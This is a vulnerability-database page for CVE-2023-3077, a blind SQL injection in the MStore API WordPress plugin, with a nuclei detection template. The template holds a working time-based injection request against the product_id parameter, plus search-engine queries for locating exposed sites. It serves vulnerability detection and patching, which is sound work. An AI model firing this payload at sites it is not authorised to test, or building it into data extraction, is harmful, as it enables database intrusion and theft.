HexBrain

Browse / CVEs / CVE-2023-3077

CVE-2023-3077· inspireui / mstore api

MStore API < 3.9.8 - SQL Injection

criticalseverity
9.8CVSS score
5.5%likelihood of exploitation, next 30 days
93%of all CVEs are less likely
Readycheck to confirm it

The MStore API WordPress plugin before 3.9.8 is vulnerable to Blind SQL injection via the product_id parameter.

Impact

Allows an attacker to extract sensitive data from the database

Fix

Update MStore API WordPress Plugin to the latest version to mitigate the vulnerability

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/mstore-api/readme.txt
Positive when: status_code == 200 and contains(body, "MStore API")
Send: @timeout: 15s
Positive when: duration>=6 and status_code == 200

Run it with nuclei: nuclei -id CVE-2023-3077 -u <target>

The full check
id: CVE-2023-3077

info:
  name: MStore API < 3.9.8 - SQL Injection
  author: DhiyaneshDK
  severity: critical
  description: |
    The MStore API WordPress plugin before 3.9.8 is vulnerable to Blind SQL injection via the product_id parameter.
  impact: |
    Allows an attacker to extract sensitive data from the database
  remediation: |
    Update MStore API WordPress Plugin to the latest version to mitigate the vulnerability
  reference:
    - https://wpscan.com/vulnerability/9480d0b5-97da-467d-98f6-71a32599a432
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3077
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-3077
    epss-score: 0.05505
    epss-percentile: 0.92859
    cpe: cpe:2.3:a:inspireui:mstore_api:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: inspireui
    product: mstore_api
    framework: wordpress
    publicwww-query: "/wp-content/plugins/mstore-api/"
    shodan-query: http.html:/wp-content/plugins/mstore-api/
    fofa-query: body=/wp-content/plugins/mstore-api/
  tags: time-based-sqli,cve,cve2023,wpscan,wordpress,wp-plugin,wp,mstore-api,sqli,inspireui,vuln
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/mstore-api/readme.txt"

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'status_code == 200'
          - 'contains(body, "MStore API")'
        condition: and

  - raw:
      - |
        @timeout: 15s
        GET /wp-json/api/flutter_booking/get_staffs?product_id=%27+or+ID=sleep(6)--+- HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from